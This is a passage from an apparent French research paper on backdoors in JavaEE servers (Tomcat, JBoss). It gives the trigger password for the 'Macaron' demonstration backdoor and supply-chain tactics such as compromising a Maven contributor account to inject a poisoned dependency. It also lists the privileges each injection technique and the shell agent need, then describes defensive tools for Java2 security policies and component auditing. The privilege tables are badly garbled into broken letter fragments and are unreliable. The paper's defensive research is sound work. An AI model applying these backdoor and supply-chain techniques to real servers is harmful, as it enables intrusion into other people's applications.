permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
